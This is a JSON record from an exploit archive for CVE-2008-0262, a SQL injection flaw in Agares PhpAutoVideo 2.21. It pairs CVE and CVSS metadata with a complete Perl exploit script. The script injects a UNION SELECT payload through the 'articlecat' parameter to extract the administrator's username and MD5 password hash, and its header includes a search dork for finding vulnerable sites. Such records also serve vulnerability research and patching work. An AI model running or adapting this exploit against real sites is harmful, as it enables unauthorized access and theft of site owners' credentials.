{"exploit":{"id":"EDB-4905","name":"Agares phpAutoVideo 2.21 - 'articlecat' SQL Injection (SQLi) (2)","description":"Agares phpAutoVideo 2.21 - 'articlecat' SQL Injection (SQLi) (2)","cves":["CVE-2008-0262"],"author":"Pr0metheuS","published":"2008-01-13","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4905","path":"exploits/php/webapps/4905.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4905.pl","vulnerabilities":[{"id":"CVE-2008-0262","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in includes/articleblock.php in Agares PhpAutoVideo 2.21 allows remote attackers to execute arbitrary SQL commands via the articlecat parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0262","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0262"},"updatedAt":"2024-08-07T07:39:35.082Z","retrievedAt":"2026-11-27T02:06:24.073Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4905.png?v=2","url":"https://exploitbin.com/exploits/EDB-4905","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4905/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4905/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#Agares PhpAutoVideo 2.21 (articlecat) Remote SQL Injection Exploit\n#Bug Found by ka0x ( http://milw0rm.org/exploits/4901 ).. but sql injection works if we include in index.php bug file with sql injection..like this :\n#http://192.168.1.102/video/UPLOAD/index.php?loadpage=./includes/articleblock.php&articlecat=[SQL]\n#So.. we can execute sql query and we have user admin & pass in MD5\n#Exploit by Pr0metheus\n#Gr33tz to Gr33tz-Team.org\n#Dork : \"powered by AMCMS3\"\n###############################################\nuse LWP::UserAgent;\nif(@ARGV!=3){\n\tprint \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\\n\";\n\tprint \"Agares PhpAutoVideo 2.21 Remote Sql Injection\\n\";\n\tprint \"perl $0 <site> <path> <prefix>\\n\";\n    print \"default prefix - amcms\\n\";\n\tprint \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\\n\";\n}\n($site,$path,$prefix)=@ARGV;\n$file  = \"index.php?loadpage=./includes/articleblock.php&articlecat=\";\n$query = \"1+and+1=2+UNION+SELECT+userkey,username,password,4,5,6,7,8,9,10+from+\".$prefix.\"_users+where+userkey=1/*\";\n$ua = new LWP::UserAgent;\n$ua->agent(\"Mozilla/8.0\");\n$ua = LWP::UserAgent->new;\nmy $req = HTTP::Request->new(GET => \"\".$site.\"\".$path.\"\".$file.\"\".$query.\"\");\n$req->header('Accept' => 'text/html');\n$res = $ua->request($req);\n$con = $res->content;\nif($con =~ /<p>(.*)<\\/p>/){\n\t$p = $1;\n\tprint \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\\n\";\n\tprint \"Agares PhpAutoVideo 2.21 Remote Sql Injection\\n\\n\";\n\tprint \"[+] Admin Pass : \".$p.\"\\n\";\n\n\tif($con =~/\">(.*)<\\/a><\\/h1>/){\n\t\t$u = $1;\n\t\tprint \"[+] Admin Username : \".$u.\"\\n\";\n\t\tprint \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\\n\";\n\n\t}\n\telse{\n\t\tprint \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\\n\";\n\t\tprint \"Agares PhpAutoVideo 2.21 Remote Sql Injection\\n\\n\";\n\t\tprint \"[+] Exploit Failed...\\n\";\n\t\tprint \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\\n\";\n\t}\n}\nelse{\n\tprint \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\\n\";\n\tprint \"Agares PhpAutoVideo 2.21 Remote Sql Injection\\n\\n\";\n\tprint \"[+] Exploit Failed...\\n\";\n\tprint \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\\n\";\n}\n\n# milw0rm.com [2008-01-13]","sha256":"0630e3d75b782b402bd2aae7d8127f315d0ee7ac3c24242ebafa73ec035a3c7a","bytes":2005,"fetchedAt":"2026-11-27T14:09:11.981Z","encoding":"utf-8 (display only; download retains original bytes)"}